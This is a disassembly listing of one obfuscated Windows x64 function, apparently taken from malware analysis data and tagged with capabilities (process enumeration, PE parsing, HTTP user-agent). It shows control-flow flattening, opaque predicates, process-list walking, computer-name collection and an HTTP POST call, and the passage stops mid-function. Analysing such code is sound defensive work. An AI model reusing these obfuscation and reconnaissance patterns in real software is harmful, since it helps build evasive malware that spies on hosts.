Function at 0x140014a10
Capabilities:
Enumerate processes
Parse pe header
Reference http user-agent string

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1c8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x130], xmm6
mov rax, qword [0x1400630a8]
xor rax, rbp
mov qword [rbp + 0x128], rax
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0xfffffffe
mov edx, edi
xor edx, 0xfffffffe
and edx, edi
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
mov esi, ebx
and esi, 0x9d7bb661
and edx, 0x6284499e
or edx, esi
and edi, 0x9d7bb661
and ecx, 0x6284499e
or ecx, edi
xor ecx, edx
xor ebx, ecx
test ebx, ecx
sete byte [rbp - 0x62]
cmp eax, 0xa
setl byte [rbp - 0x61]
mov r13d, 0xfa662243
xorps xmm6, xmm6
mov r12d, 0x3cc2d6ae
mov r14d, 0xe3a97f0e
mov r15d, 0x796c32f6
mov eax, 0x11d6bb26
cmp eax, 0xf730b1c8
jle 0x140014d50
cmp eax, 0x366bdaa8
jle 0x140014cf0
cmp eax, 0x51c5cd76
jle 0x140014e83
cmp eax, 0x6f817524
jg 0x140015192
cmp eax, 0x5d46571d
jg 0x1400158ad
cmp eax, 0x55c54b19
jle 0x140016b53
cmp eax, 0x55c54b1a
je 0x140018754
cmp eax, 0x56b7decd
je 0x1400187bc
cmp eax, 0x56e4eaa1
jne 0x140014ac0
cmp dword [rbp + 0x120], 0
sete byte [rbp + 0x116]
mov eax, dword [0x1400640e4]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x93060d9e
and edx, ecx
not ecx
and ecx, 0x9002081e
and eax, 0x3040580
or eax, ecx
mov ecx, eax
xor ecx, 0x1000580
xor eax, 0xfcfbfa7f
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x2edc8861
and ecx, 0x9102059e
or ecx, edi
or eax, ebx
and ebx, 0x2edc8861
and edx, 0xd123779e
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x2742acab
and eax, 0xd8bd5354
or eax, ecx
mov ebx, eax
xor ebx, 0x4bbb5eca
mov ecx, eax
xor ecx, 0xa0002004
and ecx, 0xe23276c4
xor eax, 0xae92662b
and eax, ebx
and ebx, 0x1dcd893b
or ebx, ecx
mov ecx, ebx
xor ecx, 0x1dcd893b
mov edx, ebx
xor edx, 0x71b4e25
and edx, ecx
mov edi, edx
not edi
mov esi, eax
not esi
mov r8d, edi
and r8d, 0x19a7832d
and edx, 0xe6587cd2
or edx, r8d
or edi, esi
and esi, 0x19a7832d
and eax, 0xe6587cd2
or eax, esi
xor eax, edx
not edi
or edi, eax
mov eax, edi
not eax
and eax, 0x1ad6c71f
and edi, 0xe52938e0
or edi, eax
xor ebx, 0x2062c4
and ebx, 0x5e1e3c7
mov eax, ecx
and eax, 0xfa1e1c38
or eax, ebx
xor eax, 0x5e1e3c6
and ecx, 1
or ecx, eax
not ecx
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
mov eax, ecx
not eax
and eax, 0x3c872535
and ecx, 0xc378daca
or ecx, eax
mov eax, ecx
not eax
and eax, 0xc378daca
and ecx, 0x3c872535
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x768e255e
and eax, 0x8971daa1
or eax, ecx
mov ecx, eax
xor ecx, 0x10802540
xor eax, 0x88304001
and eax, 0xee3e401f
and ecx, 0x11c1bfe0
or ecx, eax
xor ecx, 0x11c1bfe0
sete al
cmp dword [0x1400640e8], 0xa
setl cl
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
mov edx, ebx
not dl
and dl, al
and cl, bl
or cl, dl
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x51a9b741
mov ebx, 0xe41d45c9
cmovne eax, ebx
test cl, cl
cmove eax, ebx
test dl, 1
mov ecx, 0x51a9b741
jmp 0x14001c7cd
cmp eax, 0x1309abfb
jle 0x140014f64
cmp eax, 0x2a3420ee
jle 0x14001551f
cmp eax, 0x31af9350
jg 0x140015934
cmp eax, 0x2f4377fb
jle 0x140016c09
cmp eax, 0x2f4377fc
je 0x140018833
cmp eax, 0x2f5adb1d
je 0x14001886a
cmp eax, 0x317cd382
jne 0x140014ac0
mov eax, 0x4c99e3c1
cmp eax, 0xf730b1c8
jg 0x140014acb
nop dword [rax]
cmp eax, 0xc1e3359c
jg 0x140014e20
cmp eax, 0x9e290844
jle 0x1400150f4
cmp eax, 0xb1e1a6b0
jg 0x1400151de
cmp eax, 0xa5f56490
jg 0x1400159a0
cmp eax, 0x9e5d61ba
jle 0x140016ddc
cmp eax, 0x9e5d61bb
je 0x1400189a2
cmp eax, 0x9f979362
je 0x140018ae2
cmp eax, 0xa00c82b2
jne 0x140014ac0
mov rsi, qword [0x1400640f0]
sub rsp, 0x20
lea rdi, [0x140063b60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add rsp, 0x20
add eax, eax
mov rcx, qword [rbp - 0x28]
mov rcx, qword [rcx]
sub rsp, 0x30
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
xor edx, edx
lea r8, str.POST
mov r9d, 1
call rsi
add rsp, 0x30
mov rax, qword [rbp - 0x28]
mov rcx, qword [rax]
sub rsp, 0x20
call qword [0x1400640f8]
add rsp, 0x20
mov eax, 0x7215cfe5
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0xdd3884ba
jle 0x14001513b
cmp eax, 0xe43cc5f2
jg 0x140015363
cmp eax, 0xe1476aa4
jg 0x1400159e2
cmp eax, 0xddc372db
jle 0x140016e08
cmp eax, 0xddc372dc
je 0x140018c75
cmp eax, 0xe012a3f3
je 0x140018c9f
cmp eax, 0xe0d8d8c1
jne 0x140014ac0
cmp byte [rbp + 0x115], 0
mov eax, 0x9f979362
mov ecx, 0xc7709e19
jmp 0x14001cca4
cmp eax, 0x446dc280
jle 0x140015560
cmp eax, 0x4a6c0f03
jg 0x140015a29
cmp eax, 0x482c16fd
jle 0x140016eca
cmp eax, 0x482c16fe
je 0x140018dd0
cmp eax, 0x4927a9af
je 0x140018de3
cmp eax, 0x492f2ad4
jne 0x140014ac0
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x38d49beb
and edx, ebx
not ebx
mov edi, ebx
and edi, 0xd48a08
and ecx, 0x380011e3
or ecx, edi
xor ecx, 0x380011e3
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xc72b6415
and edx, 0x38d49bea
or edx, ecx
not edx
mov ecx, edx
and ecx, ebx
xor edx, ebx
or edx, ecx
cmp edx, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
xor dl, cl
xor cl, bl
xor bl, dl
and bl, dl
xor cl, bl
mov edx, ecx
xor dl, 1
and bl, dl
xor dl, bl
test cl, cl
mov eax, 0xeda90239
mov edi, 0xb909e88
cmovne eax, edi
test bl, bl
mov ecx, 0xeda90239
cmove eax, ecx
test dl, dl
jmp 0x14001b25e
cmp eax, 0xe213b1
jle 0x140015743
cmp eax, 0xd4bfba9
jg 0x140015a82
cmp eax, 0x65bb5a2
jle 0x140016ef5
cmp eax, 0x65bb5a3
je 0x140018dfd
cmp eax, 0x94d02ed
je 0x140018e2a
cmp eax, 0xb909e88
jne 0x140014ac0
sub rsp, 0x20
mov edx, 0xfa
lea rcx, [0x140064100]
lea r8, [0x14005d1f0]
lea r9, str.unknown_pc
call fcn.14001ccf0
add rsp, 0x20
mov edx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x1812308
mov edi, ecx
and edi, 0x82065005
or edi, edx
xor edi, 0x82065005
mov edx, ecx
xor edx, 0x8387730d
and edx, ecx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0xb05d5788
and edx, 0x4fa2a877
or edx, edi
mov edi, edx
xor edi, 0xcc25db7b
and ebx, 0x4dd01f5b
and ecx, 0xb22fe0a4
or ecx, ebx
mov ebx, ecx
xor ebx, 0xb22fe0a4
xor edx, 0x33da2484
and ebx, edx
xor ecx, 0x4dd01f5b
and ecx, edi
or ecx, ebx
xor edx, ecx
test edx, ecx
setne r8b
sete r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, r9d
xor cl, al
mov r10d, ecx
and r10b, r9b
and r9b, bl
or bl, r8b
xor bl, 1
or bl, cl
and cl, al
mov edx, r10d
xor dl, 1
xor r10b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r10b
and al, r8b
or al, r9b
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
mov ebx, ecx
xor bl, 1
and dl, bl
and cl, al
or cl, dl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor al, cl
test al, 1
mov edx, 0xa814707a
mov eax, 0xeda90239
cmovne edx, eax
test bl, 1
mov eax, 0xa814707a
jmp 0x14001a843
cmp eax, 0x8fe31ca4
jle 0x140015810
cmp eax, 0x94f49f29
jg 0x140015b20
cmp eax, 0x933afb4d
jle 0x140016f21
cmp eax, 0x933afb4e
je 0x140018e66
cmp eax, 0x93b43b36
je 0x140018e81
cmp eax, 0x94c21e42
jne 0x140014ac0
jmp 0x1400151c9
cmp eax, 0xd2dcb092
jle 0x140015863
cmp eax, 0xd812a770
jg 0x140015b62
cmp eax, 0xd51be577
jle 0x140017061
cmp eax, 0xd51be578
je 0x140018eab
cmp eax, 0xd5ad4294
je 0x140019050
cmp eax, 0xd5e8a345
jne 0x140014ac0
mov eax, 0xff4fefb0
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0x796c32f5
jg 0x140015db5
cmp eax, 0x74324e65
jle 0x14001708c
cmp eax, 0x74324e66
je 0x1400191c2
cmp eax, 0x7484f969
je 0x1400191dd
cmp eax, 0x764e33d6
jne 0x140014ac0
mov eax, 0xfaa1f2d8
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0xbc9b9ed5
jg 0x140015ed5
cmp eax, 0xb9cd98b5
jle 0x1400172b3
cmp eax, 0xb9cd98b6
je 0x1400191f2
cmp eax, 0xba093f57
je 0x140019207
cmp eax, 0xba90c8eb
jne 0x140014ac0
mov ecx, dword [0x1400640e4]
mov r8d, dword [0x1400640e8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
mov ebx, edx
xor ebx, 0x80c0defc
and ebx, edx
not edx
mov edi, edx
and edi, 0x5a1f40cf
and ecx, 0xa5e0bf30
or ecx, edi
mov edi, ecx
xor edi, 0x80401410
xor ecx, 0x40cc
or ecx, 0x7f3f2103
mov esi, ebx
not esi
mov eax, ecx
and eax, 0x4796abeb
and edi, 0x80405414
or edi, eax
or ecx, esi
and esi, 0x4796abeb
and ebx, 0xb8695414
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x802472d7
and ecx, 0x7fdb8d28
or ecx, eax
mov eax, ecx
xor eax, 0xe1040c5
xor ecx, 0x602402
and ecx, 0xf16b3712
and eax, 0xe94c8ed
or eax, ecx
xor eax, 0xe94c8ed
mov ecx, eax
and ecx, edx
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x8196bf0d
and eax, 0x7e6940f2
or eax, ecx
xor eax, 0x7e6940f2
setne r9b
sete bl
cmp r8d, 9
setg r10b
cmp r8d, 0xa
setl cl
mov eax, ecx
or al, r10b
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, r10d
xor dl, bl
xor cl, bl
or bl, al
xor al, 1
or al, r9b
mov r8d, eax
xor r8b, bl
or al, bl
xor al, 1
or al, r8b
and dl, r10b
mov ebx, edx
xor bl, 1
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, 1
mov r8d, ecx
mov ebx, edx
xor dl, cl
xor cl, 1
and r8b, al
and bl, cl
or bl, r8b
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test al, 1
mov edx, 0xa5f56491
mov eax, 0xb1e1a6b1
cmovne edx, eax
test cl, 1
mov eax, 0xa5f56491
jmp 0x14001c95d
cmp eax, 0xec6607a4
jg 0x1400160ab
cmp eax, 0xe5bd904c
jle 0x1400173f0
cmp eax, 0xe5bd904d
je 0x1400193c0
cmp eax, 0xe8ddcc50
je 0x1400193f0
cmp eax, 0xeb23e01f
jne 0x140014ac0
mov edx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0x28d9a09b
and edx, ecx
or ecx, 0xd7265f64
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xd4f2327c
and ebx, 0x28098083
or ebx, esi
or ecx, edi
and edi, 0xd4f2327c
and edx, 0x2b0dcd83
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd7265f64
and ecx, 0x28d9a09b
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
or edx, 1
mov edi, edx
not edi
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
mov esi, edx
and esi, 0xd99b10a5
and edi, 0x2664ef5a
or edi, esi
or edx, ebx
and ebx, 0xd99b10a5
and ecx, 0x2664ef5a
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0xa80c8800
and edx, 0x45001082
or edx, ecx
mov edi, edx
xor edi, 0x45001002
xor edx, 0x30cc4a34
or ebx, 0xed0c9882
mov ecx, ebx
not ecx
and edx, 0x30cc4ab4
and edi, 0xcd009002
or edi, edx
and ebx, 0x30cc4ab4
and ecx, 0x2332549
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x12f3677d
and ecx, 0xed0c9882
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x4bcbc74
and edx, 0xfb43438b
or edx, ecx
mov ecx, edx
xor ecx, 0xc1820
xor edx, 0x1a404208
and edx, 0x1ef0e65c
and ecx, 0xe10f19a3
or ecx, edx
xor ecx, 0xe10f19a3
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
xor dl, cl
xor dl, 1
mov eax, ecx
xor al, r8b
and al, cl
xor bl, r8b
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov ecx, edx
or cl, bl
xor bl, dl
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0xfb669c80
mov ebx, 0xb9cd98b6
cmovne eax, ebx
test cl, cl
mov ecx, 0xfb669c80
cmovne eax, ecx
test dl, dl
jmp 0x14001cc80
cmp eax, 0x1bc90757
jle 0x140016214
cmp eax, 0x222552b8
je 0x14001ccb7
cmp eax, 0x1bc90758
je 0x140019403
cmp eax, 0x223039d0
jne 0x140014ac0
mov eax, 0xbf2ad024
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0x3c953fbd
jle 0x1400164f3
cmp eax, 0x3d75dcec
jle 0x14001741c
cmp eax, 0x3d75dced
je 0x140019526
cmp eax, 0x3dbb46ca
je 0x14001953b
cmp eax, 0x41b6c8e8
jne 0x140014ac0
mov edx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xc3110a83
mov ebx, ecx
and ebx, 0x2c8e2008
or ebx, edx
xor ebx, 0x2c8e2008
and ecx, 0x1060d574
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x1060d574
and ecx, 0xef9f2a8b
or ecx, edx
mov edi, ecx
not edi
mov ebx, ecx
xor ebx, 0x740c4415
and ebx, edi
mov edx, ecx
and edx, 0x8bf3bbea
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0xea7a3440
and edx, 0x1585cbbf
or edx, ebx
mov ebx, edx
xor ebx, 0x40000c0b
and edi, 1
xor ecx, 0xfffffffe
or ecx, edi
mov edi, ecx
not edi
and edi, 0xcea3774c
and ecx, 0x315c88b3
or ecx, edi
mov edi, ecx
xor edi, 0x10540813
xor edx, 0x9e767054
xor ecx, 0xcea3774c
mov esi, edx
and esi, 0x2d8bd3e0
and ebx, 0xd2742c1f
or ebx, esi
or edx, ecx
and ecx, 0x2d8bd3e0
and edi, 0xd2742c1f
or edi, ecx
xor edi, ebx
not edx
or edx, edi
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x4000000
and edx, 0x805c084
lea edi, [rcx + rdx]
xor edi, 0x805c000
lea edx, [rcx + rdx]
add edx, 0x81103629
or ebx, 0xc05c084
mov ecx, ebx
not ecx
and edx, 0x811036ad
and edi, 0xc05c000
or edi, edx
and ebx, 0x811036ad
and ecx, 0x72ea0952
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0xf3fa3f7b
and ecx, 0xc05c084
or ecx, edx
mov edx, ecx
not edx
and edx, 0x42c4592c
and ecx, 0xbd3ba6d3
or ecx, edx
xor ecx, 0xbd3ba6d3
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
or dl, cl
xor dl, 1
xor al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
not cl
mov edx, ebx
xor dl, 1
and cl, dl
or dl, al
and al, bl
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xcb28ceda
mov ebx, 0x8ab17ba6
cmovne ecx, ebx
test al, al
mov eax, ecx
mov ebx, 0xcb28ceda
cmovne eax, ebx
test dl, dl
jmp 0x14001cca4
cmp eax, 0xfaf69cf2
jle 0x140016636
cmp eax, 0xfb754396
jle 0x140017465
cmp eax, 0xfb754397
je 0x1400196d0
cmp eax, 0xfe1e3979
je 0x1400196e5
cmp eax, 0xff4fefb0
jne 0x140014ac0
mov eax, dword [0x1400640e4]
mov ecx, dword [0x1400640e8]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 0x4c6cf512
and eax, 0xb3930aed
or eax, edx
xor eax, 0xb3930aec
mov edx, ebx
and edx, eax
xor eax, ebx
or eax, edx
cmp eax, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg r8b
cmp ecx, 0xa
setl bl
mov ecx, ebx
xor cl, dl
xor cl, 1
or cl, r8b
xor cl, 1
or dl, bl
xor dl, 1
or al, r8b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test dl, 1
mov edx, 0xb6f73d29
mov ebx, 0x4a6c0f04
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0xb6f73d29
cmovne eax, ebx
jmp 0x1400173e9
cmp eax, 0x894083c5
jle 0x14001666c
cmp eax, 0x8b97a1c3
jle 0x140017490
cmp eax, 0x8b97a1c4
je 0x1400197ce
cmp eax, 0x8c183f1f
je 0x140019995
cmp eax, 0x8e3d1d91
jne 0x140014ac0
mov eax, 0xf57a1ceb
mov dword [rbp - 0x70], 1
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0xcb28ced9
jle 0x1400167a1
cmp eax, 0xcf500316
jle 0x1400174d0
cmp eax, 0xcf500317
je 0x1400199bf
cmp eax, 0xd078af36
je 0x1400199e9
cmp eax, 0xd1dde086
jne 0x140014ac0
cmp byte [rbp + 0x37], 0
mov eax, 0x492f2ad4
mov ecx, 0x858390a6
jmp 0x14001cca4
cmp eax, 0x6245d06e
jle 0x140017604
cmp eax, 0x6245d06f
je 0x140019b41
cmp eax, 0x6501ca1e
je 0x140019de2
cmp eax, 0x6dc86ea6
jne 0x140014ac0
mov rdx, qword [rbp - 0x18]
add rdx, 0x2c
sub rsp, 0x20
lea rsi, [0x140064300]
mov rcx, rsi
call fcn.1400436a4
mov rcx, rsi
lea rdx, [0x14005d4ee]
call fcn.1400436a4
add rsp, 0x20
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call sub.KERNEL32.dll_Process32NextW
add rsp, 0x20
mov eax, 0x8b97a1c4
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0x3311db13
jle 0x140017636
cmp eax, 0x3311db14
je 0x140019df7
cmp eax, 0x331dd1c6
je 0x140019e21
cmp eax, 0x35217ac6
jne 0x140014ac0
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov rdx, rsp
mov dword [rdx], 0xfa
sub rsp, 0x20
lea rcx, [0x140064100]
call qword [0x140069120]
add rsp, 0x20
mov eax, 0xdbb7d6ff
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0xa8147079
jle 0x1400177ba
cmp eax, 0xa814707a
je 0x140019e37
cmp eax, 0xaf613f2d
je 0x140019e4c
cmp eax, 0xb0483057
jne 0x140014ac0
cmp byte [rbp + 0xff], 0
mov eax, 0xba90c8eb
mov ecx, 0x7ceeb249
jmp 0x14001cca4
cmp eax, 0xe3351dd6
jle 0x1400177e1
cmp eax, 0xe3351dd7
je 0x140019e61
cmp eax, 0xe3a97f0e
je 0x14001a010
cmp eax, 0xe41d45c9
jne 0x140014ac0
mov eax, dword [rbp + 0x120]
mov eax, 0x56e4eaa1
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0x4e4a55b9
jle 0x14001795b
cmp eax, 0x4e4a55ba
je 0x14001a04a
cmp eax, 0x4ed1e495
je 0x14001a197
cmp eax, 0x51a9b741
jne 0x140014ac0
cmp byte [rbp + 0x116], 0
mov eax, 0x3c953fbe
mov ecx, 0x91dce0e7
cmovne eax, ecx
mov ecx, dword [rbp + 0x120]
mov dword [rbp - 0x74], ecx
cmp eax, 0xf730b1c8
jle 0x140014d50
jmp 0x140014acb
cmp eax, 0x105614af
jle 0x140017ae0
cmp eax, 0x105614b0
je 0x14001a377
cmp eax, 0x10fae2b8
je 0x14001a437
cmp eax, 0x11d6bb26
jne 0x140014ac0
mov r8b, byte [rbp - 0x62]
mov cl, byte [rbp - 0x61]
mov edx, ecx
xor dl, 1
mov eax, r8d
xor al, 1
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
xor al, cl
xor al, 1
and al, cl
xor cl, r8b
and cl, r8b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, dl
xor dl, 1
and cl, dl
or cl, bl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, edx
xor bl, cl
test dl, 1
mov eax, 0xdbb7d6ff
mov edx, 0x35217ac6
cmovne eax, edx
test cl, 1
cmove eax, edx
test bl, 1
mov ecx, 0xdbb7d6ff
jmp 0x14001c7cd
cmp eax, 0x979cabbb
jle 0x140017cd5
cmp eax, 0x979cabbc
je 0x14001a586
cmp eax, 0x9a60aef8
je 0x14001a6dc
cmp eax, 0x9b9651cb
jne 0x140014ac0
cmp byte [rbp + 0xd7], 0
mov eax, 0x84292be3
mov ecx, 0xd4bfbaa
jmp 0x14001cca4
cmp eax, 0xda3dd5fa
jle 0x140017d01
cmp eax, 0xda3dd5fb
je 0x14001a84b
cmp eax, 0xdb9da8d4
je 0x14001aa3e
cmp eax, 0xdbb7d6ff
jne 0x140014ac0
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov rdx, rsp
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x60], rax
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x58], rax
mov eax, 0xbc0
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x50], rax
mov eax, 0xbc0
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x48], rax
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x40], rax
mov eax, 0x20
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x38], rax
mov eax, 0xbc0
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x30], rax
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x28], rax
mov eax, 0xbc0
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x20], rax
mov eax, 0x240
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x18], rax
mov eax, 0x70
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x10], rax
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp - 8], rax
mov eax, 0x200
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 8], rax
mov eax, 0x70
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x10], rax
mov eax, 0x10
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x18], rax
mov eax, 0x200
call fcn.14003aeb0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov rax, qword [rbp + 0x28]
mov dword [rdx], 0xfa
sub rsp, 0x20
lea rcx, [0x140064100]
call qword [0x140069120]
add rsp, 0x20
test rax, rax
setne byte [rbp + 0x37]
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea edi, [rcx - 1]
imul edi, ecx
mov edx, edi
or edx, 1
mov ecx, edx
not ecx
mov ebx, edi
or ebx, 0x894e27e8
and edx, 0x894e27e8
and ecx, 0x76b1d816
or ecx, edx
and ebx, 0x894e27e9
xor ebx, ecx
mov ecx, ebx
and ebx, edi
not edi
not ecx
and edi, ecx
or ebx, edi
xor ecx, ebx
test ecx, ebx
sete cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
not al
xor dl, cl
mov ecx, edx
not cl
and cl, bl
or bl, dl
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
mov ecx, 0xd1dde086
mov eax, 0x35217ac6
cmovne ecx, eax
test dl, dl
mov eax, ecx
mov edx, 0xd1dde086
cmovne eax, edx
test bl, bl
jmp 0x14001cca4
cmp eax, 0x7ceeb248
jle 0x140017ec6
cmp eax, 0x7ceeb249
je 0x14001abd0
cmp eax, 0x7d5f085e
je 0x14001abec
cmp eax, 0x7e369593
jne 0x140014ac0
mov edx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea edi, [rdx - 1]
imul edi, edx
mov ebx, edi
not ebx
mov edx, ebx
and edx, 0x3930acc9
mov ecx, edi
and ecx, 0x82400010
or ecx, edx
xor ecx, 0x82400010
mov edx, edi
xor edx, 0xbb70acd9
and edx, edi
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov ecx, edx
not ecx
and ecx, 0x4495eeec
and edx, 0xbb6a1113
or edx, ecx
mov ecx, edx
xor ecx, 0x81582
and ebx, 0x2c6c4fcc
and edi, 0xd393b033
or edi, ebx
mov ebx, edi
xor ebx, 0x80811022
xor edx, 0xffe54234
mov esi, edx
and esi, 0x5b72ea59
and ecx, 0xa48d15a6
or ecx, esi
xor edi, 0x8604a48
and edi, 0x5b72ea59
and ebx, 0xa48d15a6
or ebx, edi
xor ebx, ecx
xor edx, ebx
test edx, ebx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
and bl, r8b
or bl, cl
mov ecx, ebx
xor cl, al
and cl, bl
xor dl, al
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov eax, edx
xor al, bl
test al, 1
mov ecx, 0x36c5a1c1
mov eax, 0x864114dc
cmovne ecx, eax
test dl, 1
mov eax, 0x36c5a1c1
cmovne eax, ecx
test bl, bl
jmp 0x14001c7cd
cmp eax, 0xbed7f02f
jle 0x140017ef1
cmp eax, 0xbed7f030
je 0x14001ad41
cmp eax, 0xbf2ad024
je 0x14001ad5d
cmp eax, 0xbfb41029
jne 0x140014ac0
mov rax, qword [rbp + 0x90]
mov rax, qword [rbp + 0x88]
mov ecx, dword [0x1400640e4]
mov eax, dword [0x1400640e8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xa2747846
and edx, ebx
not ebx
and ebx, 0x18a201e0
